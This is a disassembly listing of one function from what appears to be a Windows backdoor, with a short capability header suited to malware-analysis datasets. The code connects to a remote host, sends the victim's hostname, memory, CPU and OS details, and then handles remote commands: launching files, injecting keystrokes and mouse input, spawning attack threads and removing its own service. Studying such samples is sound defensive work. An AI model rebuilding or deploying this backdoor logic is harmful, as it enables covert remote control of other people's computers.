Function at 0x405d80
Capabilities:
Get cpu information
Get hostname
Get memory capacity
Get system information on windows
Query or enumerate registry value

Disassembly:
mov eax, 0x2244
call fcn.00409de0
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov word [esp + 0x28], 2
call esi
mov ax, word [0x413e2c]
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x30
mov word [esp + 0x2a], ax
call esi
push 0x413d28
call fcn.00403cf0
push 0x30
mov dword [esp + 0x34], eax
call esi
add esp, 0xc
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
push 0x30
mov dword [esp + 0x24], ebx
call esi
add esp, 4
lea ecx, [esp + 0x24]
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404e46
push 0x30
call esi
add esp, 4
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2244
ret 4
push 0x4b
push ebx
call fcn.004037d0
mov ecx, 0x39
xor eax, eax
lea edi, [esp + 0x1f8]
lea edx, [esp + 0x1f8]
rep stosd dword es:[edi], eax
push edx
call 0x405d80
add esp, 0xc
lea eax, [esp + 0x290]
push 0x413e34
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.004099b0
mov dword [esp + 0x2d0], eax
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0x8e5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x413e30]
lea edx, [esp + 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x1f0]
mov ecx, 0x39
lea esi, [esp + 0x1f0]
lea edi, [esp + 0x8e4]
push edx
push eax
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], 0x11000000
mov dword [esp + 0x20], 0xe4
call fcn.00403920
add esp, 0xc
test eax, eax
jne 0x404f02
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2244
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x8e4]
push ecx
push edx
push edi
call fcn.00403970
add esp, 0xc
test eax, eax
je 0x405c2a
mov eax, dword [esp + 0x10]
cmp eax, 0x28000000
ja 0x405465
je 0x40544c
cmp eax, 0x20000016
ja 0x40527f
je 0x40522c
add eax, 0xe0000000
cmp eax, 0x15
ja case.0x4052a6.536870939
xor ecx, ecx
mov cl, byte [eax + 0x405d3c]
jmp dword [ecx*4 + 0x405d14]
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0x8e4]
push edx
lea ecx, [esp + 0x4e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 3
push 0
lea edx, [esp + 0x4e4]
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40553b
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2054]
lea edx, [esp + 0x2054]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x8e4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6dc]
lea edx, [esp + 0x6dc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x8e4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d5]
mov byte [esp + 0x2d4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2d4]
push 0x41493c
push eax
call fcn.00406030
lea ecx, [esp + 0x2dc]
lea edx, [esp + 0x6e4]
push ecx
push edx
call fcn.00406090
lea eax, [esp + 0x2e4]
push eax
call fcn.00406320
add esp, 0x14
test eax, eax
je 0x40553b
lea ecx, [esp + 0x2d4]
push str.NULL
push ecx
call fcn.00404c80
add esp, 8
jmp 0x40553b
lea ecx, [esp + 0x160]
call fcn.00409320
mov edx, dword [esp + 0x18]
push 0
push 0
push 0
push edx
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x160]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0x130]
call fcn.00409320
mov eax, dword [esp + 0x18]
push 0
push 2
push 0
push eax
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x130]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0xd0]
call fcn.00409320
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
lea ecx, [esp + 0xd0]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0x190]
call fcn.00409320
push 0
push 0
push 0
push 0
push 2
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x190]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0x70]
call fcn.00409320
push 0
push 0
push 0
push 0
push 4
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x70]
call fcn.00409370
jmp case.0x4052a6.536870939
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2154]
lea edx, [esp + 0x2154]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x8e4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x7e0]
lea edx, [esp + 0x7e0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x8e4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d9]
mov byte [esp + 0x3d8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3d8]
push 0x41493c
push eax
call fcn.00406030
lea ecx, [esp + 0x3e0]
lea edx, [esp + 0x7e8]
push ecx
push edx
call fcn.00406090
add esp, 0x10
test eax, eax
je case.0x4052a6.536870939
lea eax, [esp + 0x3d8]
push eax
call fcn.00406320
add esp, 4
test eax, eax
jne 0x405ca6
jmp case.0x4052a6.536870939
lea ecx, [esp + 0xa0]
call fcn.00409320
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 2
call edi
push 0
push 0
push 0
push 0
push 4
call edi
push 0
push 0
push 0
push 0
push 2
call edi
push 0
push 0
push 0
push 0
push 4
call edi
lea ecx, [esp + 0xa0]
call fcn.00409370
jmp case.0x4052a6.536870939
cmp eax, 0x21000000
ja 0x4053e5
je 0x4053cc
add eax, 0xdfffffe9
cmp eax, 9
ja case.0x4052a6.536870939
xor ecx, ecx
mov cl, byte [eax + 0x405d68]
jmp dword [ecx*4 + 0x405d54]
lea edi, [esp + 0x8e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xbb6
ja case.0x4052a6.536870939
mov ecx, 0x2ee
mov edi, 0x4247b8
rep stosd dword es:[edi], eax
lea edi, [esp + 0x8e4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov edx, ecx
mov esi, edi
mov edi, 0x4247b8
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x18]
mov ecx, edx
push eax
and ecx, 3
push 0x407fd0
push 0
rep movsb byte es:[edi], byte [esi]
push 0
call ebp
push eax
call ebx
mov ecx, 0x5dc
xor eax, eax
lea edi, [esp + 0x8e4]
rep stosd dword es:[edi], eax
jmp 0x404f0e
lea ecx, [esp + 0x100]
call fcn.00409320
push 0
push 0
push 0
push 0
push 8
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x100]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0x40]
call fcn.00409320
push 0
push 0
push 0
push 0
push 0x10
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x40]
call fcn.00409370
jmp case.0x4052a6.536870939
lea ecx, [esp + 0x1c0]
call fcn.00409320
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0
push 0
push 0
push 0
push 8
call edi
push 0
push 0
push 0
push 0
push 0x10
call edi
push 0
push 0
push 0
push 0
push 8
call edi
push 0
push 0
push 0
push 0
push 0x10
call edi
lea ecx, [esp + 0x1c0]
call fcn.00409370
jmp case.0x4052a6.536870939
push 0
push 0
push 0
push 0x407270
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x4052a6.536870939
cmp eax, 0x22000001
je 0x405430
cmp eax, 0x23000000
je 0x405417
cmp eax, 0x25000000
jne case.0x4052a6.536870939
push 0
push 0
push 0
push 0x407150
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x4052a6.536870939
push 0
push 0
push 0
push 0x4065e0
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x4052a6.536870939
mov ecx, dword [esp + 0x18]
push 0
push 0
push ecx
push 0x406c40
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x4052a6.536870939
push 0
push 0
push 0
push 0x406eb0
push 0
push 0
call ebp
push eax
call ebx
jmp case.0x4052a6.536870939
cmp eax, 0x32000002
ja 0x4058aa
je 0x405838
cmp eax, 0x31000004
ja 0x4056ca
je 0x405659
cmp eax, 0x31000002
ja 0x4055dc
je 0x40556e
cmp eax, 0x30000001
je 0x405550
cmp eax, 0x31000001
jne case.0x4052a6.536870939
push 0
lea eax, [esp + 0x9b8]
push 0
push eax
push 0x404d80
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x424788]
test eax, eax
jne 0x405522
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x401e40
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4054fb
jmp 0x40553b
mov ecx, dword [0x42477c]
push 0
push 0
push ecx
push 0x401d50
push 0
push 0
call ebp
push eax
call ebx
mov ecx, 0x5dc
xor eax, eax
lea edi, [esp + 0x8e4]
rep stosd dword es:[edi], eax
jmp case.0x4052a6.536870939
mov eax, dword [0x424784]
mov dword [0x4147e0], 0
test eax, eax
je 0x40553b
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x40553b
push 0
lea eax, [esp + 0x9b8]
push 0
push eax
push 0x404d80
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x4021e0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4055b2
jmp 0x40553b
cmp eax, 0x31000003
jne case.0x4052a6.536870939
push 0
lea edx, [esp + 0x9b8]
push 0
push edx
push 0x404d80
lea ecx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], ecx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x401e40
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40562f
jmp 0x40553b
push 0
lea ecx, [esp + 0x9b8]
push 0
push ecx
push 0x404d80
lea eax, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], eax
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x401fe0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4056a0
jmp 0x40553b
sub eax, 0x31000005
je 0x4057c7
dec eax
je 0x405755
sub eax, 0xfffffb
jne case.0x4052a6.536870939
push 0
lea eax, [esp + 0x9b8]
push 0
push eax
push 0x404d80
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x4014b0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40572b
jmp 0x40553b
push 0
lea edx, [esp + 0x9b8]
push 0
push edx
push 0x404d80
lea ecx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], ecx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x402540
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40579d
jmp 0x40553b
push 0
lea ecx, [esp + 0x9b8]
push 0
push ecx
push 0x404d80
lea eax, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], eax
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x402390
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40580e
jmp 0x40553b
push 0
lea eax, [esp + 0x9b8]
push 0
push eax
push 0x404d80
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x4012a0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405880
jmp 0x40553b
cmp eax, 0x34000002
ja 0x405ae5
je 0x405a74
cmp eax, 0x33000003
ja 0x405a64
je 0x4059bd
sub eax, 0x33000001
je 0x40594c
dec eax
jne case.0x4052a6.536870939
push 0
lea edx, [esp + 0x9b8]
push 0
push edx
push 0x404d80
lea ecx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], ecx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x401e40
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405922
jmp 0x40553b
push 0
lea ecx, [esp + 0x9b8]
push 0
push ecx
push 0x404d80
lea eax, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], eax
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x402640
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405993
jmp 0x40553b
push 0
lea eax, [esp + 0x9b8]
push 0
push eax
push 0x404d80
mov edi, 1
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], edi
mov dword [0x42477c], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x424788]
cmp eax, edi
je 0x405522
mov ecx, dword [0x42477c]
xor edi, edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x40553b
push 0
push 0
push ecx
push 0x401e40
push 0
push 0
call ebp
push eax
call ebx
mov edx, dword [0x42477c]
push 0
push 0
push edx
push 0x402390
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov ecx, dword [0x42477c]
inc edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
cmp edi, eax
jl 0x405a19
jmp 0x40553b
cmp eax, 0x34000001
je 0x405bb8
jmp case.0x4052a6.536870939
push 0
lea ecx, [esp + 0x1d44]
push 0
push ecx
push 0x404d80
lea eax, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x424780], eax
call ebp
mov dword [0x424784], eax
mov eax, dword [0x424780]
xor edi, edi
mov ecx, dword [eax + 0x1458]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x402a00
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x424780]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x405abb
jmp 0x40553b
cmp eax, 0x34000003
je 0x405bb8
cmp eax, 0x36000001
je 0x405b44
cmp eax, 0x37000002
jne case.0x4052a6.536870939
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0x8e4]
push edx
lea ecx, [esp + 0x5e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
lea edx, [esp + 0x5e0]
push 0
push edx
push 0x406470
jmp 0x405532
push 0
lea ecx, [esp + 0x9b8]
push 0
push ecx
push 0x404d80
lea eax, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x42477c], eax
call ebp
mov dword [0x424784], eax
mov eax, dword [0x42477c]
xor edi, edi
mov ecx, dword [eax + 0xcc]
test ecx, ecx
jle 0x405bac
push 0
push 0
push eax
push 0x4016e0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x42477c]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405b87
push 0x1f4
call esi
jmp 0x40553b
push 0
lea eax, [esp + 0x1d44]
push 0
push eax
push 0x404d80
lea edx, [esp + 0x8f4]
push 0
push 0
mov dword [0x4147e0], 1
mov dword [0x424780], edx
call ebp
mov dword [0x424784], eax
mov eax, dword [0x424780]
xor edi, edi
mov ecx, dword [eax + 0x1458]
test ecx, ecx
jle 0x40553b
push 0
push 0
push eax
push 0x4028c0
push 0
push 0
call ebp
push eax
call ebx
push 0x64
call esi
mov eax, dword [0x424780]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x405c00
jmp 0x40553b
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
jmp 0x404eea
mov ecx, dword [0x424794]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x424790]
test eax, eax
je 0x405c86
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x413710
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
call fcn.004078b0
lea edx, [esp + 0x34]
push 0x414938
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x424794]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x424790]
test eax, eax
je 0x405cf2
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x413710
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea ecx, [esp + 0x3d8]
push str.NULL
push ecx
call fcn.00404c80
add esp, 8
call fcn.004078b0
push 0
call dword [sym.imp.MSVCRT.dll_exit]
cmp dword [eax + eax*2], ebx
ror dword [edi + 64], 0
jne 4218221
inc eax
add byte [edx + 0x51], ch
inc eax
add byte [ebp - 0x44ffbfb0], cl
push eax
inc eax
add cl, ch
push eax
inc eax
add byte [esi], dl
push ecx
inc eax
add byte [ebx + 0x51], al
inc eax
add byte [edi + ecx*2], dl
inc eax
add byte [eax], al
or dword [ecx], ecx
or dword [ecx], eax
add cl, byte [ecx]
add ecx, dword [ecx]
or dword [ecx], ecx
or dword [ecx], ecx
or dword [ecx], ecx
or dword [ecx], ecx
add al, 5
push es
pop es
or byte [ebx + 0x405325ff], cl
add byte [edx + 0x53], dl
inc eax
add byte [ecx + 0x53], bh
inc eax
add byte [ebp + 0x14004052], ch
dec edi
inc eax
add byte [eax], al
add dword [edx], eax
add al, 4
add al, 4
add al, 4
add edx, dword [eax - 0x6f6f6f70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x2e4
push ebx
push ebp
mov ebp, dword [esp + 0x2f0]
push esi
push edi
mov ecx, 0x39
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x40
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x30]
lea eax, [ebp + 0x40]
shr edx, 0x14
inc edx
push edx
push str._uMB
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0xec]
stosw word es:[edi], ax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push ecx
stosb byte es:[edi], al
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
lea eax, [esp + 0xf4]
push 0
push eax
push closesocket
call ebx
test eax, eax
jne 0x405e75
lea ecx, [esp + 0x20]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x38], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x5c]
push ecx
push edx
lea eax, [ebp + 0xc0]
push str._u_u_MHz
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1f0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1f0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push 0xf003f
push edi
push edx
push closesocket
call ebx
test eax, eax
jne 0x405f1b
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push 0x4149c8
push eax
mov dword [esp + 0x28], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
je 0x405f4b
mov dword [0x424788], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2000
jmp 0x406003
lea ecx, [esp + 0x6c]
push 0x4149ac
push ecx
call esi
add esp, 8
test eax, eax
je 0x405f71
mov dword [0x424788], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_XP
jmp 0x406003
lea ecx, [esp + 0x6c]
push str.2003
push ecx
call esi
add esp, 8
test eax, eax
je 0x405f98
mov dword [0x424788], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2003
jmp 0x406003
lea ecx, [esp + 0x6c]
push str.Vista
push ecx
call esi
add esp, 8
test eax, eax
je 0x405fbb
mov dword [0x424788], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_Vista
jmp 0x406003
lea ecx, [esp + 0x6c]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
je 0x405fe2
mov dword [0x424788], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2008
jmp 0x406003
lea ecx, [esp + 0x6c]
push 0x414954
push ecx
call esi
add esp, 8
test eax, eax
je 0x406020
mov dword [0x424788], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_7
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2e4
ret